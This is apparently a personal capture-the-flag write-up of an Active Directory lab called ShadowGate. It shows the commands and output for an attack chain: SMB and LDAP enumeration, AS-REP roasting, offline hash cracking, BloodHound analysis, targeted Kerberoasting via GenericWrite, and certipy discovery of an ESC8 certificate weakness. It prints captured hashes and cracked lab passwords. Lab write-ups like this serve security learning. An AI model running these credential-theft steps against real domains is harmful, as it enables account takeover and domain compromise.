

ShadowGate(Easy)

Objective :

Gain The Krbtgt Hashes.

Recon / Nmap

Using nmap to find out Open ports, which services are open etc.

Command : `sudo rustscan -a 10.1.197.225 --ulimit 5000 -r 1-65535 -- -A -oN nmap.txt`

```
PORT      STATE SERVICE REASON      VERSION
53/tcp    open  domain  syn-ack ttl 126 Simple DNS Plus
80/tcp    open  http    syn-ack ttl 126 Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    filtered kerberos-sec no-response
135/tcp   open  tcpwrapped syn-ack ttl 126
139/tcp   open  tcpwrapped syn-ack ttl 126
389/tcp   open  tcpwrapped syn-ack ttl 126
|_ssl-date: TLS randomness does not represent time
|_ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after: 2027-01-15T01:10:24
| MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
445/tcp   open  tcpwrapped syn-ack ttl 126
464/tcp   open  kpasswd5? syn-ack ttl 126
593/tcp   open  tcpwrapped syn-ack ttl 126
636/tcp   open  tcpwrapped syn-ack ttl 126
|_ssl-date: TLS randomness does not represent time
|_ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after: 2027-01-15T01:10:24
| MD5: 5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1: 2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
```

There is a lot of open ports like DNS(53),HTTP(80),Kerberos(88),SMB,etc

Domain Controller : DC01.shadow.gate

Domain : shadow.gate

put the domains/dc controller to the /etc/hosts file

Command : `sudo /etc/hosts`

SMB Enum

Enumerating SMB to find if there are shares we can enumerate as Guest or enum usernames.

Command : `nxc smb 10.1.197.225 -u anonymous -p anonymous --shares`

```

└─$ nxc smb 10.1.197.225 -u anonymous -p anonymous --shares
SMB 10.1.197.225 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01)
) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB 10.1.197.225 445 DC01 [-] shadow.gate\anonymous:anonymous STATUS_LOGON_FAILURE

```

Login failed as tried Guest but the Account is disabled. I use enum4linux to enumerate everything on smb

Command : enum4linux -a 10.1.197.225 | tee enum4linux.txt

```

===== ( Users on 10.1.197.225 ) =====
=====
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account
for administering the computer/domain
index: 0xff6 RID: 0x45c acb: 0x00000210 Account: amoss Name: Angela Moss Desc: (null)
index: 0xfe9 RID: 0x44f acb: 0x00000210 Account: ATHENA Name: ATHENA Desc: (null)
index: 0xfef RID: 0x455 acb: 0x00000210 Account: bbrown Name: Bob Brown Desc: (null)
index: 0xff3 RID: 0x459 acb: 0x00000210 Account: clocke Name: Caroline Locke Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for gue
st access to the computer/domain
index: 0xff5 RID: 0x45b acb: 0x00000210 Account: jbradford Name: John Bradford Desc: (null)
index: 0xff2 RID: 0x458 acb: 0x00000210 Account: jsmith Name: John Smith Desc: (null)
index: 0xff0 RID: 0x456 acb: 0x00010210 Account: jtrueblood Name: James Trueblood Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center
Service Account
index: 0xfea RID: 0x450 acb: 0x00000210 Account: mbrownlee Name: Marcel Brownlee Desc: (null)
index: 0xff4 RID: 0x45a acb: 0x00000210 Account: tclarke Name: Todd Clarke Desc: (null)

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[ATHENA] rid:[0x44f]
user:[mbrownlee] rid:[0x450]
user:[bbrown] rid:[0x455]
user:[jtrueblood] rid:[0x456]
user:[jsmith] rid:[0x458]
user:[clocke] rid:[0x459]
user:[tclarke] rid:[0x45a]
user:[jbradford] rid:[0x45b]
user:[amoss] rid:[0x45c]

```

Using enum4linux I found usernames and domain groups, local groups, password policy etc so copy the usernames and put them in a file incase we have to brute force for creds or test for password spraying etc.

AS-REP Roastable

We have usernames but not credentials so I tested for AS-REP Roastable Users with "Do not require Kerberos preauthentication" enabled can have their password hashes extracted without valid credentials.

Command : impacket-GetNPUsers shadow.gate/ -usersfile users.txt -dc-ip 10.1.197.225 -format hashcat

```

└─$ impacket-GetNPUsers shadow.gate/ -usersfile users.txt -dc-ip 10.1.197.225 -format hashcat
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:3de9d4de6d94bc9c3dd92bbc6d96af13$827cd4bc2dde2f63d27705fc27f6c376
af130465be96211dd88de3f638ded1412ab612758f56d49314b1b7dfb5c5b28260ae7015d546e159bc177cd53e08a38027c893
29e56e99ff46a6ab7a389cc2cfc6c81c2b2ec1a52ebefbbeacbad34c65968b75663e5e95b10952ddfbf1d1acdfea6f54a6b613
2ec01d6a9b985f74f2f2ef3ef4f97ec952649264a0df93326f76f82b96ae61c4d551ddc412d933878256fab5a69f85aa2ebc0b
3945453c80436a9fcaadec42967292ecd8e4129acb404ba221133d6ac6fbeece7fe7151087b6e1830b5b0ac7d0522f56a3959f
c8e8c5575455a6285f3beaa970a8
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set

```

It looks like “Do not require Kerberos preauthentication” is enabled on jtrueblood’s account we were able to get the kerberos hash. We can crack the password using John or hashcat.

Command : john jtrueblood_hash.txt -w=/usr/share/wordlists/rockyou.txt

```

└─$ john jtrueblood_hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blood_brothers ($krb5asrep$23$jtrueblood@SHADOW.GATE)
1g 0:00:00:11 DONE (2026-09-29 15:45) 0.08741g/s 837191p/s 837191c/s 837191C/s blooders..blondielou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

We have our first valid Creds.

Jtrueblood : blood_brothers

Testing If the credentials work.

Command : nxc smb 10.1.197.225 -u "jtrueblood" -p "blood_brothers" --shares

```

└─$ nxc smb 10.1.197.225 -u "jtrueblood" -p "blood_brothers" --shares
SMB 10.1.197.225 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB 10.1.197.225 445 DC01 [+] shadow.gate\jtrueblood:blood_brothers
SMB 10.1.197.225 445 DC01 [*] Enumerated shares
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01 ADMIN$ Remote Admin
SMB 10.1.197.225 445 DC01 C$ Default share
SMB 10.1.197.225 445 DC01 CertEnroll READ Active Directory C
ertificate Services share
SMB 10.1.197.225 445 DC01 IPC$ Remote IPC
SMB 10.1.197.225 445 DC01 NETLOGON Logon server share
SMB 10.1.197.225 445 DC01 SYSVOL Logon server share

```

We can read most of the shares , but the CertEnroll share caught my eye since Its not a Default share I’ve seen anyway.

Command : smbclient //10.1.197.225/CertEnroll -U jtrueblood

```

└─$ smbclient //10.1.197.225/CertEnroll -U jtrueblood
Password for [WORKGROUP\jtrueblood]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0    Tue Sep 29 15:01:57 2026
..               D            0    Mon Jan 12 05:00:58 2026
DC01.shadow.gate_shadow-DC01-CA.crt      A      877  Mon Jan 12 05:00:31 2026
nsrev_shadow-DC01-CA.asp                 A     323  Mon Jan 12 05:00:58 2026
shadow-DC01-CA+.crl                     A     725  Tue Sep 29 15:01:57 2026
shadow-DC01-CA.crl                       A     914  Tue Sep 29 15:01:57 2026

                                7863807 blocks of size 4096. 3045495 blocks available
smb: \> mget *

```

Downloaded The cert and asp file so I can have a look at them for something hidden.

Bloodhound

We need to understand How the Domain is setup so I used nxc to get all the groups,users etc so we can visualize how the network looks

Command : `nxc ldap 10.1.197.225 -u "jtrueblood" -p "blood_brothers" -d "shadow.gate" --dns-server 10.1.197.225 --bloodhound --collection All`

```

└─$ nxc ldap 10.1.197.225 -u "jtrueblood" -p "blood_brothers" -d "shadow.gate" --dns-server 10.1.197.225 --bloodhound --collection All
LDAP 10.1.197.225 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never)
LDAP 10.1.197.225 389 DC01 [+] shadow.gate\jtrueblood:blood_brothers
LDAP 10.1.197.225 389 DC01 Resolved collection methods: localadmin, acl, session, objectprops, rdp, trusts, psremote, container, group, dcom
LDAP 10.1.197.225 389 DC01 Done in 1M 20S
LDAP 10.1.197.225 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.1.197.225_2026-10-03_122244_bloodhound.zip

```

We have the files which have the information we need now to install bloodhound.

Github : <https://github.com/SpecterOps/bloodhound-cli/releases>

Download the bloodhound-cli linux untar it and move it to the /usr/local/bin/ and start bloodhound.

Command : `sudo bloodhound-cli install`

The Command will install bloodhound and other necessary stuff , after ward you get a link and creds to login.

```

Container bloodhound-app-db-1 Starting
Container bloodhound-graph-db-1 Starting
Container bloodhound-graph-db-1 Started
Container bloodhound-app-db-1 Started get a link and
Container bloodhound-app-db-1 Waiting
Container bloodhound-graph-db-1 Waiting
Container bloodhound-app-db-1 Healthy
Container bloodhound-graph-db-1 Healthy
Container bloodhound-bloodhound-1 Starting
Container bloodhound-bloodhound-1 Started
[+] BloodHound is ready to go!
[+] You can log in as 'admin' with this password:
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/login

```

Go to that link upload the zip file we got for bloodhound.

The screenshot shows the BloodHound web interface. On the left, a diagram illustrates a 'GenericWrite' relationship from the user 'JTRUEBLOOD@SHADOW.GATE' to the user 'BBROWN@SHADOW.GATE'. On the right, a sidebar displays the details for 'BBROWN@SHADOW.GATE', including account settings like 'Password Never Expires' (TRUE) and 'Password Not Required' (FALSE). Below these, a list of permissions is shown, including 'Sessions' (0), 'Member Of' (2), 'Local Admin Privileges' (0), 'Execution Privileges' (0), 'Outbound Object Control' (1), and 'Inbound Object Control' (7).

The user we have access to has GenericWrite to BBROWN's account ,Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user,Press the GenericWrite text its gonna show details of how to abuse the write access using windows,linux etc. and follow the steps.

Abusing The GenericWrite

Command : python3 targetedKerberoast.py -v -d "shadow.gate" -u 'jtrueblood' -p 'blood_brothers'

The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.

```

└─$ python3 targetedKerberoast.py -v -d "shadow.gate" -u 'jtrueblood' -p 'blood_brothers'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (bbrown)
[+] Printing hash for (bbrown)
$krb5tgs$23*$bbrown$SHADOW.GATE$shadow.gate/bbrown*$72a19693b8c8df32cc70e0ef94639d9d$df2346fc1e9
8bd50d1b146edec0b63cca6390cd6d4393e7886779d57cda8de16a6f715097f5a5c6172a0f6fff27249d0687e2098596
d8a1ee469cbad25d97b7a85cea7e1f6627e6b7e98a8b7ed760a6dca5871b46320ca6bc0e024e8ef10cee7e766d8bfb6
5263fd9147b927812d67d56c66f258158264b005f08d88df1be7ac927ce84a4becfea7d4ccff3f29e2057112222fe50f
018a2c6fb197995c132e8308638c0e8e76dca511ce1b4466c7e068645708b8314ec4dec46158d424e3d3cfae9aef887d
c0226ce06a7ecf486cc216aa8e18f483377bdb2ca85db620ced078a630297f3c1b19b5ae61fde5dd9cbb5bec3243447b
df84ce34ec4a338103e5703ffcb3f928807eea02daed3761e8da62faaa96b308901f4c11c3b32832811938d177d602c6
b2b75826b14a400a890a1390b8410258b5502423149a8dfe49c109c35e1e914fdee75fb96b7990d2bc137497c6b81e0f
7888a12a6c65560ac00ee46b286bbbea2fe19dbe875ca7e479e06ec85a207faa1950d58dd3441f19ae407a239b5b4ef6
c75c0896995eece32a282a475546a35e22d966a3c694041e62788da92bccedf29e438250e2a39b4a8c5a3866644522d0
9955150125d6f58914df24f472791e97d5b87f5b1b153481f7634a8d7c520d9cd82ee68a8b7ee5abaa64b35b861c221b
053dfb2d2452ad835e6b8de36f208d33e46f5e7614b4670c5ef991346e755602a28c07ba8edf845eda0013e7ddbcceca8
cfda60591aaaa9d491974ecf77c122f27e243d1fc4d5178c5753fb67c8b7cb244ec1e256fb0355b3460dbdc8926856b3
57ed3ff7429cb25d9061849c1eac14417df120675839366f5ec4043e1f62034728e5085ad04b5d7076bc006e689365dd
34052cb14a887d003e358c5e0dfcb560b5a88162b34f8d4087cf1bc679f7760c9855719faaa45d6ada6218f0a881ea6a
707a1c60e265fc6845dcee47a92c0b2b4cbbfcb228b29e1fa9900b7c620c53a940d72aec38082f7b36181014bfdf1ea
c066952096ab18ea1ee9e8c7b25bb21d20b71014e6e916d5c01d79155c89ccdbb2513e1bbde0171e6bf1bdf78d05135
164109cf4fee4b93702bac30a31ebec63eab89a774ece279a2c79df956a0f933f67a14faed5b132da90a68a8d4d42303
02eb10d502e9e8d478fa28fd0cd5c21bdee3b60ca9ffe7ad6bae133564594f0a63e7e77e1e1612a98cbb63986d562b9d
f4e0800d3681c0bbab3fc759fe5c923e6c585928f14e8666e680a3e872ba9f1ce22727a03fb512d7f3e895daed3ef22
e9af5c2120fc7a8b547a16db9126e420e47e6517d667c5ce0729db1abaae169515d9274a67e003723f5f7a29885a9062
9b65ef279cb08f46cc34b22b2146787a52e840b75e1d0bf3a82de5d46cdc8ec90202fe6e4af463d9c9d13dd84e38733
96a7db876f06649e1fb3aa30272d410c9f645fd456a0b8d36b9e53f230737ce107db9b625684215ddd11259624fcaac4
8f098b66b18c7b6f889d07772a4a92b19
[VERBOSE] SPN removed successfully for (bbrown)

```

Got Bbrown kerberos hash copy and save them to a file and we can track it with john.

Command : john bbrown_hash.txt -w=/usr/share/wordlists/rockyou.txt

```

└─$ john bbrown_hash.txt -w=/usr/share/wordlists/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678 (?)
1g 0:00:00.03 DONE (2026-10-03 13:19) 0.2906g/s 297.6p/s 297.6c/s 297.6C/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

bbrown : 12345678

Verifying The Credentials work.

```

└─$ nxc smb shadow.gate -u 'bbrown' -p '12345678' --shares
SMB 10.1.197.225 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC0
1) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB 10.1.197.225 445 DC01 [+] shadow.gate\bbrown:12345678
SMB 10.1.197.225 445 DC01 [*] Enumerated shares
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
Certificate Services share
SMB 10.1.197.225 445 DC01
SMB 10.1.197.225 445 DC01
e
SMB 10.1.197.225 445 DC01
e

```

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
CertEnroll	READ	Active Directory
IPC\$	READ	Remote IPC
NETLOGON	READ	Logon server shar
SYVOL	READ	Logon server shar

Bbrown is a Member of The ADCS-READER (Active Directory Certificate Service) so im guessing we need to find a way to abuse some certificate.

Certificate Enumerating

Enumerating Vulnerable Certificates.

Command : `certipy-ad find -u 'bbrown' -p '12345678' -dc-ip 10.1.197.225 -stdout`

```

L$ certipy-ad find -u 'bbrown' -p '12345678' -dc-ip 10.1.197.225 -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'shadow-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'shadow-DC01-CA'
[*] Checking web enrollment for CA 'shadow-DC01-CA' @ 'DC01.shadow.gate'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
  CA Name           : shadow-DC01-CA
  DNS Name          : DC01.shadow.gate
  Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate
  Certificate Serial Number : 749A4BA2BEA3CFBC41ECDFAE502E46C
  Certificate Validity Start : 2026-01-12 02:50:31+00:00
  Certificate Validity End   : 2046-01-12 03:00:31+00:00
  Web Enrollment
    HTTP
      Enabled       : True
    HTTPS
      Enabled       : False
  User Specified SAN : Disabled
  Request Disposition : Issue
  Enforce Encryption for Requests : Enabled
  Active Policy      : CertificateAuthority_MicrosoftDefault.Policy
  Permissions
    Owner           : SHADOW.GATE\Administrators
```

The output was a lot so I wanted to find only the vulnerable one's. Add `-vulnerable` to the previous command and get the vulnerable certificate.

```

[*] Enumeration output:
Certificate Authorities
0
  CA Name : shadow-DC01-CA
  DNS Name : DC01.shadow.gate
  Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate
  Certificate Serial Number : 749A4BA2BEA3CFBC41ECDFAEE502E46C
  Certificate Validity Start : 2026-01-12 02:50:31+00:00
  Certificate Validity End : 2046-01-12 03:00:31+00:00
  Web Enrollment : True
  HTTP Enabled : True
  HTTPS Enabled : False
  User Specified SAN : Disabled
  Request Disposition : Issue
  Enforce Encryption for Requests : Enabled
  Active Policy : CertificateAuthority_MicrosoftDefault.Policy
  Permissions :
    Owner : SHADOW.GATE\Administrators
    Access Rights : SHADOW.GATE\Administrators
    ManageCa : SHADOW.GATE\Domain Admins
    ManageCertificates : SHADOW.GATE\Enterprise Admins
    Enroll : SHADOW.GATE\Administrators
    [!] Vulnerabilities : SHADOW.GATE\Domain Admins
    ESC8 : SHADOW.GATE\Enterprise Admins
    [!] Vulnerabilities : SHADOW.GATE\Authenticated Users
Certificate Templates :
  Web Enrollment is enabled over HTTP.
  [!] Could not find any certificate templates

```

Found a Vulnerable Certificate but It couldn't find the template.

I got stuck for a while so I just looked at the walkthrough <https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/shadowgate#certipy-enumeration-i> and followed it and finished the lab